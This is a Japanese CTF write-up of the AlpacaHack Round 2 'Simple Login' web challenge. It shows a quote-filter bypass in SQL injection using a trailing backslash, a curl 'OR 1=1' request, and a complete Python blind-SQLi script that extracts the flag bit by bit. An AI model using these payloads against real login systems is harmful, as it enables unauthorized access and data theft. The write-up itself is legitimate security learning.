AlpacaHack Round 2 (Web)へ参加しました。そのwrite-up記事です。
コンテスト概要
2024/09/01(日) 12:00 +09:00 - 09/01(日) 18:00 +09:00
の6時間開催でした。他ルールはコンテストページから引用します:
AlpacaHack Round 2 (Web) へようこそ! AlpacaHack は個人戦のCTFを継続して開催する新しいプラットフォームです。 AlpacaHack Round 2 は AlpacaHack で行われる 2 回目の CTF で、Web カテゴリから 4 問が出題されます。 幅広い難易度の問題が出題されるため、初心者を含め様々なレベルの方に楽しんでいただけるようになっています。 これらの問題は ark 氏によって作成されました! 参加方法 1. 右上の「Sign Up」ボタンから AlpacaHack のユーザー登録をしてください。 2. 登録完了後、このページの「Register」ボタンを押して CTF の参加登録をしてください。 注意事項 - AlpacaHack は個人戦のCTFプラットフォームであるため、チームでの登録は禁止しています。 - 問題は運営が想定した難易度の順に並んでいます。 - 問題の配点は解いた人数に応じて変動します。 - 全てのアナウンスは AlpacaHack の Discord サーバー で行われます。 - アナウンスは本サービス上でも行うことがありますが、Discord サーバーが主な連絡手段となります。 - 問題が発生した場合、#ticket チャンネルから連絡してください。ただし、問題のヒントは提供しません。 - 競技システム自体への攻撃は行わないでください。なお、偶然発見したバグの報告は歓迎します。
Round 1とは異なり、今回は各問題には難易度タグがありませんでした。代わりに 問題は運営が想定した難易度の順に並んでいます
となっており、並び順で想定難易度が示されました。
結果
正の得点を得ている84人中、108点で61位でした:
また、Certificate箇所から順位の証明書も表示できます:
環境
WindowsのWSL2(Ubuntu 24.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.4842] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-24.04 Running 2 docker-desktop-data Running 2 kali-linux Stopped 2 docker-desktop Running 2 Ubuntu-22.04 Running 2 c:\>
他ソフト
- Visual Studio Code Version: 1.92.2 (system setup)
WSL2(Ubuntu 24.04)
$ cat /proc/version Linux version 5.15.153.1-microsoft-standard-WSL2 (root@941d701f84f1) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Fri Mar 29 23:14:13 UTC 2024 $ cat /etc/os-release PRETTY_NAME="Ubuntu 24.04 LTS" NAME="Ubuntu" VERSION_ID="24.04" VERSION="24.04 LTS (Noble Numbat)" VERSION_CODENAME=noble ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=noble LOGO=ubuntu-logo $ python3 --version Python 3.12.3 $ python3 -m pip show httpx | grep Version: Version: 0.27.0 $ curl --version curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13 zlib/1.3 brotli/1.1.0 zstd/1.5.5 libidn2/2.3.7 libpsl/0.21.2 (+libidn2/2.3.7) libssh/0.10.6/openssl/zlib nghttp2/1.59.0 librtmp/2.3 OpenLDAP/2.6.7 Release-Date: 2023-12-06, security patched: 8.5.0-2ubuntu10.2 Protocols: dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd $ docker --version Docker version 27.1.1, build 6312585 $
解けた問題
[Web] Simple Login (84 solves, 108 points)
A simple login service :) (接続先URL)
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./compose.yaml: ASCII text ./db/init.sql: ASCII text ./web/app.py: Python script text executable Python script, Unicode text, UTF-8 text executable ./web/Dockerfile: ASCII text ./web/requirements.txt: ASCII text ./web/templates/index.html: HTML document, Unicode text, UTF-8 text ./web/templates/login.html: HTML document, ASCII text $
各ファイルを見ると、まずdb/init.sql
は、users
テーブルを作成しているほか、フラグ内容をflag
テーブルのvalue
列へ追加していました:
USE chall; DROP TABLE IF EXISTS flag; CREATE TABLE IF NOT EXISTS flag ( value VARCHAR(128) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; -- On the remote server, a real flag is inserted. INSERT INTO flag (value) VALUES ('Alpaca{REDACTED}'); DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users ( username VARCHAR(16) PRIMARY KEY, password VARCHAR(16) NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin; INSERT INTO users (username, password) VALUES ('admin', 'pass'); INSERT INTO users (username, password) VALUES ('hacker', '1337');
web/app.py
がWebサーバーの機能を提供するものでした:
from flask import Flask, request, redirect, render_template import pymysql.cursors import os def db(): return pymysql.connect( host=os.environ["MYSQL_HOST"], user=os.environ["MYSQL_USER"], password=os.environ["MYSQL_PASSWORD"], database=os.environ["MYSQL_DATABASE"], charset="utf8mb4", cursorclass=pymysql.cursors.DictCursor, ) app = Flask(__name__) @app.get("/") def index(): if "username" not in request.cookies: return redirect("/login") return render_template("index.html", username=request.cookies["username"]) @app.route("/login", methods=["GET", "POST"]) def login(): if request.method == "POST": username = request.form.get("username") password = request.form.get("password") if username is None or password is None: return "Missing required parameters", 400 if len(username) > 64 or len(password) > 64: return "Too long parameters", 400 if "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400 conn = None try: conn = db() with conn.cursor() as cursor: cursor.execute( f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" ) user = cursor.fetchone() except Exception as e: return f"Error: {e}", 500 finally: if conn is not None: conn.close() if user is None or "username" not in user: return "No user", 400 response = redirect("/") response.set_cookie("username", user["username"]) return response else: return render_template("login.html")
手元環境でDockerコンテナを起動したり、動作確認用デバッグログを追加したりして、動作を確かめました:
- Flaskでログを出力するには、
print
関数ではうまくいかず、app.logger.error("log")
を使用する必要がありました。app.logger.info("log")
ではログ表示されませんでした。どこかでログレベルの制御があるのかもしれません。- →本記事公開後に作問者様にご指摘いただきまして、
print
関数でもflush=True
引数を与えればログ出力できました!バッファリングのことを忘れがちです……!
compose.yaml
があるディレクトリへ移動してからdocker compose up --build
コマンドを実行すると、ファイルの変更をイメージへ反映しつつ、各種サービスを起動してくれます。- 今回の
compose.yaml
では次の内容があるため、サービス起動後にhttp://localhost:3000
へブラウザ等でアクセスできます:
- 今回の
services: web: # 中略 ports: - ${PORT:-3000}:3000 # 後略
試行錯誤したりした過程です:
web/app.py
のcursor.execute(f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'")
箇所では、ユーザー由来の入力をエスケープ等せずにそのまま埋め込んでいます。そのためSQL Injectionを引き起こせそうです。- 一方で
if "'" in username or "'" in password: return "Do not try SQL injection 🤗", 400
する分岐があるため、シングルクォートを含めることはできないように見えます。 - もしも
username
やpassword
へ、文字列ではなく配列の値を指定できれば、シングルクォート検知分岐を突破できそうです。しかし、ユーザー入力を取得しているusername = request.form.get("username")
で使っている方式のrequest.form
の仕様をAPI — Flask Documentation (3.0.x)で調べても、文字列のみを指定できるようです。- ためしにPOST内容として
username=a&username=b&password=c
を送信してみましたが、username
には最初のa
だけが反映されていました。複数指定しても配列にはならないようです。
- ためしにPOST内容として
- そこで、シングルクォート以外を指定する方法でSQL Injectionを引き起こす方法があるか調べました。今回のDBには
FROM mysql:8.0.39
とMySQLを使っています。MySQL :: MySQL 8.0 Reference Manual :: 11.1.1 String Literalsを調べると、\'
でシングルクォートをエスケープできるらしいことが分かりました。 - 試しに
curl http://localhost:3000/login -d 'username=\&password=OR 1=1 #' -i
と、SQL全体としてSELECT * FROM users WHERE username = '\' AND password = 'OR 1=1 #'
となるリクエストを送信しました。これは、ユーザー名が\' AND password =
であるか、1=1
が成り立つuserを検索します。1=1
は恒真式であるため、実質全ユーザーを検索することになります。またMySQLの#
コメントを使って、最後のシングルクォートを無視させています。 - 試した結果、
HTTP/1.1 302 FOUND
とリダイレクトされるレスポンスが返りました。狙い通りにSQL Injectionできていそうです。
さて、この問題では、ログインに成功するとリダイレクト後のページで、ログイン中のユーザー名が表示されます。そのため本問題の簡単な解法としては「UNION SELECT value, 1 from flag
」のように、フラグ内容をUNION SELECTすればいいようです。
しかし私はその事に全然気づいておらず、他の方のwrite-up記事を読んで知りました。上述のことに気づかなかった結果、「SQL文の実行結果が空なら400 BAD REQUEST
が、空でなければ302 FOUND
が返るので、ビット単位でフラグ情報を取得するBlind SQL Injectionをすればいい」と考えて、突っ走っていました……。if len(username) > 64 or len(password) > 64: return "Too long parameters", 400
の分岐があるため、文字数節約を考える必要がありました。
- MySQLでは、
SUBSTRING
関数の同義語としてSUBSTR
関数があります。SUBSTR
関数を使えば文字数を節約できます。 MySQL :: MySQL 8.0 Reference Manual :: 14.8 String Functions and OperatorsSUBSTR
関数の呼び出し形式ではSUBSTR(str,pos,len)
形式だけでなく、引数が2個のSUBSTR(str,pos)
形式があります。引数が2個の形式を使うと文字数を節約できます。SUBSTR
関数のlen
引数省略形式では、残りのすべての文字列を取得します。一方で後述のASCII
関数やORD
関数では、文字列の最初の文字のみを使用するため、len
引数を省略しても、差し支えありません。
- 二分探索するには、フラグ文字列の指定位置の文字の序数を取得できると簡単です。
ASCII
関数でもできますが、ORD
関数を使うほうが文字数を節約できます。 MySQL :: MySQL 8.0 Reference Manual :: 14.8 String Functions and Operators- ドキュメントを読むと、少なくともASCIIに含まれる文字では
ASCII
関数とORD
関数の挙動は同一のようです。フラグはASCIIでしょうから問題なさそうです。
- ドキュメントを読むと、少なくともASCIIに含まれる文字では
&
演算子を使うとビット積を計算できます。 MySQL :: MySQL 8.4 Reference Manual :: 14.12 Bit Functions and Operators
最終的に書いたソルバーです:
#!/usr/bin/env python3 import httpx BASE_URL = "http://localhost:3000" with httpx.Client(base_url=BASE_URL, timeout=20) as client: def attack(index: int, bit: int) -> bool: # 「UNION SELECT 1,1 FROM flag WHERE (ORD(SUBSTR(value,16))&128)>0#」のようなSQLiを発生させる password = f"UNION SELECT 1,1 FROM flag WHERE (ORD(SUBSTR(value,{index+1}))&{1<<bit})>0#" # print(f"{len(password) = }") assert len(password) <= 64 r = client.post( "/login", data={ "username": "\\", "password": password, }, ) # print(f"{r.status_code = }") return r.status_code == 302 flag = "" for index in range(64): current = 0 for bit in range(8): if attack(index, bit): current |= 1 << bit # print(f"{current = }") flag += chr(current) print(flag) if "}" in flag: break
httpx
ライブラリのデフォルトのタイムアウトは5秒(出典: Timeouts - HTTPX)ですが、コンテスト中の問題サーバー相手に通信しようとすると5秒や10秒ではReadTimeoutが発生することがありました。そのためタイムアウトを20秒と長めに設定しています。
実行しました:
$ time ./solve.py A Al Alp Alpa Alpac Alpaca Alpaca{ Alpaca{S Alpaca{SQ Alpaca{SQL Alpaca{SQLi Alpaca{SQLi_ Alpaca{SQLi_w Alpaca{SQLi_wi Alpaca{SQLi_wit Alpaca{SQLi_with Alpaca{SQLi_with0 Alpaca{SQLi_with0u Alpaca{SQLi_with0ut Alpaca{SQLi_with0ut_ Alpaca{SQLi_with0ut_5 Alpaca{SQLi_with0ut_5i Alpaca{SQLi_with0ut_5in Alpaca{SQLi_with0ut_5ing Alpaca{SQLi_with0ut_5ingl Alpaca{SQLi_with0ut_5ingle Alpaca{SQLi_with0ut_5ingle_ Alpaca{SQLi_with0ut_5ingle_q Alpaca{SQLi_with0ut_5ingle_qu Alpaca{SQLi_with0ut_5ingle_quo Alpaca{SQLi_with0ut_5ingle_quot Alpaca{SQLi_with0ut_5ingle_quot3 Alpaca{SQLi_with0ut_5ingle_quot3s Alpaca{SQLi_with0ut_5ingle_quot3s! Alpaca{SQLi_with0ut_5ingle_quot3s!} ./solve.py 0.77s user 0.08s system 0% cpu 1:40.36 total $
フラグを入手できました: Alpaca{SQLi_with0ut_5ingle_quot3s!}
感想
- 長らく思っていることですけれど、Webジャンルでは様々な言語、フレームワーク、ライブラリ、コマンドや、多くのファイルが登場しがちなので、なかなか難しいです。
- それでも、いろいろな仕様を調べながら「ああでもないこうでもない」と唸る時間はそれはそれで良いものです。